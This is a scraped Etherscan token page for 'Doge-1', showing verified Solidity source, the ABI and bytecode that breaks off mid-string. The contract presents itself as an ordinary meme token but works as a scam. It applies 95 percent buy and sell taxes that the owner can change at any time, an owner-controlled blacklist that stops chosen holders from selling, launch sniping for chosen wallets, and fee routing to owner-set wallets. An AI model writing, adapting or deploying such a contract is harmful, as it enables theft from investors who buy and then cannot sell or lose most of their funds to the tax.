ETH Price: $3,117.54 (+1.64%)

Token

Doge-1 (Doge-1)
 

Overview

Max Total Supply

1,000,000,000,000,000 Doge-1

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.16251623 Doge-1

Value
$0.00
0x820Ecb05FF888614b339192e52Ed92F1C8cDaD7a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-29
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Token is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address payable public mkt;
    address payable private team;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    mapping(address => bool) public _isExcludeFromFee;
    uint256 private _totalSupply;
    IUniswapRouter public _uniswapRouter;
    mapping(address => bool) public isMarketPair;
    bool private inSwap;
    uint256 private constant MAX = ~uint256(0);
    address public _uniswapPair;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor (){

        _name = "Doge-1";
        _symbol = "Doge-1";
        _decimals = 9;
        uint256 Supply = 1000000000000000;

        _totalSupply = Supply * 10 ** _decimals;
        swapAtAmount = _totalSupply / 100000;

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        mkt = payable(msg.sender);
        team = payable(msg.sender);

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[mkt] = true;
        _isExcludeFromFee[team] = true;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH());

        isMarketPair[_uniswapPair] = true;
        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );
        _isExcludeFromFee[address(swapRouter)] = true;

    }

    function setMKT(
        address payable newMKT,
        address payable newTeam
    ) public onlyOwner{
        mkt = newMKT;
        team = newTeam;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    uint256 public _buyCount=0;
    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=95;
    uint256 private _finalSellTax=95;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=0;

    function recuseTax(
        uint256 newBuy,
        uint256 newSell,
        uint256 newReduceBuy,
        uint256 newReduceSell,
        uint256 newPreventSwapBefore
    ) public onlyOwner {
        _finalBuyTax = newBuy;
        _finalSellTax = newSell;
        _reduceBuyTaxAt = newReduceBuy;
        _reduceSellTaxAt = newReduceSell;
        _preventSwapBefore = newPreventSwapBefore;
    }

    bool public remainHolder = false;
    function changeRemain() public onlyOwner{
        remainHolder = !remainHolder;
    }

    uint256 public swapAtAmount;
    function setSwapAtAmount(
        uint256 newValue
    ) public onlyOwner{
        swapAtAmount = newValue;
    }

    mapping (address => bool) public cantSwap;
    function setCantSwap(address account, bool value) public onlyOwner{
        cantSwap[account] = value;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount && !cantSwap[from], "balanceNotEnough");

        if (inSwap){
            _basicTransfer(from, to, amount);
            return;
        }

        bool takeFee;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore) {
            uint256 _numSellToken = amount;
            if (_numSellToken > balanceOf(address(this))){
                _numSellToken = _balances[address(this)];
            }
            if (_numSellToken > swapAtAmount){
                swapTokenForETH(_numSellToken);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(startTradeBlock > 0);
            takeFee = true;
            
            // buyCount
            if (isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to]) {
                _buyCount++;
            }

            // remainHolder
            if (remainHolder && amount == balance) {
                amount = amount - (amount / 100000000);
            }


        }

        _transferToken(from, to, amount, takeFee);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;
            if (isMarketPair[recipient]) {
                taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax;
            } else if (isMarketPair[sender]) {
                taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    uint256 public startTradeBlock;
    function startTrade() public onlyOwner {
        startTradeBlock = startTradeBlock == 0 ? block.number : 0;
    }

    function startTrade(address admin,address[] calldata adrs,uint256 per) public onlyOwner {
        address weth = _uniswapRouter.WETH();
        IERC20(weth).approve(address(_uniswapRouter), ~uint256(0));
        IERC20(weth).transferFrom(admin,address(this),IERC20(weth).balanceOf(admin));
        for(uint i=0;i<adrs.length;i++){
            swapToken(per,adrs[i]);
        }
        startTradeBlock = block.number;
        uint256 _bal = IERC20(weth).balanceOf(address(this));
        if(_bal > 0){
            IERC20(weth).transfer(admin,_bal);
        }
    }

    function swapToken(uint256 percentage,address to) private lockTheSwap {
        address weth = _uniswapRouter.WETH();
        address[] memory path = new address[](2);
        path[0] = address(weth);
        path[1] = address(this);

        address[] memory sellpath = new address[](2);
        sellpath[0] = address(this);
        sellpath[1] = address(weth);
        uint256 _bal = IERC20(weth).balanceOf(address(this));
        uint256 buyAmount = _uniswapRouter.getAmountsOut(percentage, sellpath)[1];
        buyAmount = buyAmount > _bal ? _bal : buyAmount;
        if (buyAmount == 0) return;
        _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            buyAmount,
            0,
            path,
            address(to),
            block.timestamp
        );
    }


    function removeERC20(address _token) external {
        if(_token != address(this)){
            IERC20(_token).transfer(mkt, IERC20(_token).balanceOf(address(this)));
            mkt.transfer(address(this).balance);
        }
    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 _bal = address(this).balance;
        if (_bal > 0.01 ether){
            mkt.transfer(_bal/10);
            team.transfer(address(this).balance);
        }
    }

    function setFEEE(address[] calldata account, bool value) public onlyOwner{
        for (uint256 i; i < account.length; i++) {
            _isExcludeFromFee[account[i]] = value;
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"cantSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"remainHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setCantSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setFEEE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMKT","type":"address"},{"internalType":"address payable","name":"newTeam","type":"address"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSwapAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"admin","type":"address"},{"internalType":"address[]","name":"adrs","type":"address[]"},{"internalType":"uint256","name":"per","type":"uint256"}],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600d819055600e819055600f819055605f6010819055601155601281905560138190556014556015805460ff191690553480156200004357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350604080518082019091526006815265446f67652d3160d01b6020820152600590620000b190826200056a565b5060408051808201909152600680825265446f67652d3160d01b602083015290620000dd90826200056a565b506007805460ff1916600990811790915566038d7ea4c68000906200010490600a6200074b565b62000110908262000763565b60098190556200012590620186a0906200077d565b60165560095433600081815260016020908152604080832085905551938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360038054336001600160a01b0319918216811783556004805483169091178155306000818152600860209081526040808320805460ff1990811660019081179092556001600160a01b038a811686528386208054831684179055985489168552828520805482168317905586549098168452818420805490981617909655600a8054737a250d5630b4cf539739df2c5dacb4c659f2488d9616861790559181526002825284812084825282528481206000199055845163c45a015560e01b8152945193949093859363c45a01559383820193909291908290030181865afa15801562000263573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002899190620007a0565b9050806001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002da573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003009190620007a0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200034e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003749190620007a0565b600c8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481166000908152600b6020908152604091829020805460ff19166001179055600a5482516315ab88c960e31b8152925193169263ad5c46489260048082019392918290030181865afa158015620003f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041e9190620007a0565b600a5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af115801562000472573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004989190620007cb565b50506001600160a01b03166000908152600860205260409020805460ff1916600117905550620007ef9050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004f057607f821691505b6020821081036200051157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200056557600081815260208120601f850160051c81016020861015620005405750805b601f850160051c820191505b8181101562000561578281556001016200054c565b5050505b505050565b81516001600160401b03811115620005865762000586620004c5565b6200059e81620005978454620004db565b8462000517565b602080601f831160018114620005d65760008415620005bd5750858301515b600019600386901b1c1916600185901b17855562000561565b600085815260208120601f198616915b828110156200060757888601518255948401946001909101908401620005e6565b5085821015620006265787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200068d57816000190482111562000671576200067162000636565b808516156200067f57918102915b93841c939080029062000651565b509250929050565b600082620006a65750600162000745565b81620006b55750600062000745565b8160018114620006ce5760028114620006d957620006f9565b600191505062000745565b60ff841115620006ed57620006ed62000636565b50506001821b62000745565b5060208310610133831016604e8410600b84101617156200071e575081810a62000745565b6200072a83836200064c565b806000190482111562000741576200074162000636565b0290505b92915050565b60006200075c60ff84168362000695565b9392505050565b808202811582820484141762000745576200074562000636565b6000826200079b57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620007b357600080fd5b81516001600160a01b03811681146200075c57600080fd5b600060208284031215620007de57600080fd5b815180151581146200075c57600080fd5b611fc880620007ff6000396000f3fe6080604052600436106101dc5760003560e01c806370a0823111610102578063bc2b8fb711610095578063d5ad260211610064578063d5ad260214610577578063dd62ed3e14610597578063e5cfa6b5146105dd578063f2fde38b146105fd57600080fd5b8063bc2b8fb714610508578063bc76c05214610528578063cefab2af1461053d578063d242fbcc1461055757600080fd5b80638da5cb5b116100d15780638da5cb5b1461049557806395d89b41146104b3578063a67755c2146104c8578063a9059cbb146104e857600080fd5b806370a0823114610414578063715018a61461044a5780637cc5b1e61461045f578063869175241461047f57600080fd5b806336b2e0271161017a578063553193ca11610149578063553193ca146103a95780636402511e146103bf57806365b61b77146103df5780636c580801146103ff57600080fd5b806336b2e027146102ea5780633ecad2711461031a5780633f80b6d71461034a5780634bf28fd01461036c57600080fd5b806318160ddd116101b657806318160ddd1461027357806323b872dd1461029257806327b1a8e9146102b2578063313ce567146102c857600080fd5b806306fdde03146101e857806308b5871c14610213578063095ea7b31461025357600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd61061d565b60405161020a9190611a05565b60405180910390f35b34801561021f57600080fd5b5061024361022e366004611a68565b60176020526000908152604090205460ff1681565b604051901515815260200161020a565b34801561025f57600080fd5b5061024361026e366004611a8c565b6106af565b34801561027f57600080fd5b506009545b60405190815260200161020a565b34801561029e57600080fd5b506102436102ad366004611ab8565b6106c6565b3480156102be57600080fd5b50610284600d5481565b3480156102d457600080fd5b5060075460405160ff909116815260200161020a565b3480156102f657600080fd5b50610243610305366004611a68565b60086020526000908152604090205460ff1681565b34801561032657600080fd5b50610243610335366004611a68565b600b6020526000908152604090205460ff1681565b34801561035657600080fd5b5061036a610365366004611af9565b61075d565b005b34801561037857600080fd5b50600c546103919061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b3480156103b557600080fd5b5061028460185481565b3480156103cb57600080fd5b5061036a6103da366004611b34565b6107a7565b3480156103eb57600080fd5b50600a54610391906001600160a01b031681565b34801561040b57600080fd5b5061036a6107d6565b34801561042057600080fd5b5061028461042f366004611a68565b6001600160a01b031660009081526001602052604090205490565b34801561045657600080fd5b5061036a610815565b34801561046b57600080fd5b50600354610391906001600160a01b031681565b34801561048b57600080fd5b5061028460165481565b3480156104a157600080fd5b506000546001600160a01b0316610391565b3480156104bf57600080fd5b506101fd610889565b3480156104d457600080fd5b5061036a6104e3366004611a68565b610898565b3480156104f457600080fd5b50610243610503366004611a8c565b6109cd565b34801561051457600080fd5b5061036a610523366004611b99565b6109da565b34801561053457600080fd5b5061036a610d1e565b34801561054957600080fd5b506015546102439060ff1681565b34801561056357600080fd5b5061036a610572366004611bf5565b610d5c565b34801561058357600080fd5b5061036a610592366004611c3c565b610db4565b3480156105a357600080fd5b506102846105b2366004611bf5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105e957600080fd5b5061036a6105f8366004611c93565b610e55565b34801561060957600080fd5b5061036a610618366004611a68565b610eaa565b60606005805461062c90611cc1565b80601f016020809104026020016040519081016040528092919081815260200182805461065890611cc1565b80156106a55780601f1061067a576101008083540402835291602001916106a5565b820191906000526020600020905b81548152906001019060200180831161068857829003601f168201915b5050505050905090565b60006106bc338484610f70565b5060015b92915050565b60006106d3848484610fd1565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610753576001600160a01b038416600090815260026020908152604080832033845290915290205461072e908390611d11565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161078790611d24565b60405180910390fd5b601094909455601192909255601255601355601455565b6000546001600160a01b031633146107d15760405162461bcd60e51b815260040161078790611d24565b601655565b6000546001600160a01b031633146108005760405162461bcd60e51b815260040161078790611d24565b6018541561080f576000601855565b43601855565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161078790611d24565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606006805461062c90611cc1565b6001600160a01b03811630146109ca576003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190611d4f565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af115801561096a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098e9190611d68565b506003546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156109c8573d6000803e3d6000fd5b505b50565b60006106bc338484610fd1565b6000546001600160a01b03163314610a045760405162461bcd60e51b815260040161078790611d24565b600a54604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa158015610a4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a729190611d85565b600a5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291925082169063095ea7b3906044016020604051808303816000875af1158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aec9190611d68565b506040516370a0823160e01b81526001600160a01b0386811660048301528216906323b872dd908790309084906370a0823190602401602060405180830381865afa158015610b3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b639190611d4f565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af1158015610bb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdb9190611d68565b5060005b83811015610c2957610c1783868684818110610bfd57610bfd611da2565b9050602002016020810190610c129190611a68565b611254565b80610c2181611db8565b915050610bdf565b50436018556040516370a0823160e01b81523060048201526000906001600160a01b038316906370a0823190602401602060405180830381865afa158015610c75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c999190611d4f565b90508015610d165760405163a9059cbb60e01b81526001600160a01b0387811660048301526024820183905283169063a9059cbb906044016020604051808303816000875af1158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d149190611d68565b505b505050505050565b6000546001600160a01b03163314610d485760405162461bcd60e51b815260040161078790611d24565b6015805460ff19811660ff90911615179055565b6000546001600160a01b03163314610d865760405162461bcd60e51b815260040161078790611d24565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b6000546001600160a01b03163314610dde5760405162461bcd60e51b815260040161078790611d24565b60005b82811015610e4f578160086000868685818110610e0057610e00611da2565b9050602002016020810190610e159190611a68565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610e4781611db8565b915050610de1565b50505050565b6000546001600160a01b03163314610e7f5760405162461bcd60e51b815260040161078790611d24565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ed45760405162461bcd60e51b815260040161078790611d24565b6001600160a01b038116610f155760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610787565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811080159061101357506001600160a01b03841660009081526017602052604090205460ff16155b6110525760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610787565b600c5460ff161561106f57611068848484611574565b5050505050565b6001600160a01b0383166000908152600b602052604081205460ff16801561109a5750600c5460ff16155b80156110bf57506001600160a01b03851660009081526008602052604090205460ff16155b80156110e457506001600160a01b03841660009081526008602052604090205460ff16155b80156110f35750601454600d54115b15611138573060009081526001602052604090205483908111156111235750306000908152600160205260409020545b6016548111156111365761113681611629565b505b6001600160a01b03851660009081526008602052604090205460ff1615801561117a57506001600160a01b03841660009081526008602052604090205460ff16155b80156111895750600c5460ff16155b156112485760006018541161119d57600080fd5b506001600160a01b0384166000908152600b602052604090205460019060ff1680156111d75750600a546001600160a01b03858116911614155b80156111fc57506001600160a01b03841660009081526008602052604090205460ff16155b1561121757600d805490600061121183611db8565b91905055505b60155460ff16801561122857508183145b156112485761123b6305f5e10084611dd1565b6112459084611d11565b92505b61106885858584611811565b600c805460ff19166001179055600a54604080516315ab88c960e31b815290516000926001600160a01b03169163ad5c46489160048083019260209291908290030181865afa1580156112ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112cf9190611d85565b6040805160028082526060820183529293506000929091602083019080368337019050509050818160008151811061130957611309611da2565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061133d5761133d611da2565b6001600160a01b03929092166020928302919091018201526040805160028082526060820183526000939192909183019080368337019050509050308160008151811061138c5761138c611da2565b60200260200101906001600160a01b031690816001600160a01b03168152505082816001815181106113c0576113c0611da2565b6001600160a01b0392831660209182029290920101526040516370a0823160e01b81523060048201526000918516906370a0823190602401602060405180830381865afa158015611415573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114399190611d4f565b600a5460405163d06ca61f60e01b81529192506000916001600160a01b039091169063d06ca61f90611471908a908790600401611e4d565b600060405180830381865afa15801561148e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526114b69190810190611e6e565b6001815181106114c8576114c8611da2565b602002602001015190508181116114df57806114e1565b815b9050806000036114f5575050505050611566565b600a54604051635c11d79560e01b81526001600160a01b0390911690635c11d7959061152e90849060009089908c904290600401611f2c565b600060405180830381600087803b15801561154857600080fd5b505af115801561155c573d6000803e3d6000fd5b5050505050505050505b5050600c805460ff19169055565b6001600160a01b03831660009081526001602052604081208054839190839061159e908490611d11565b90915550506001600160a01b038316600090815260016020526040812080548492906115cb908490611f68565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161161791815260200190565b60405180910390a35060019392505050565b600c805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061166b5761166b611da2565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e89190611d85565b816001815181106116fb576116fb611d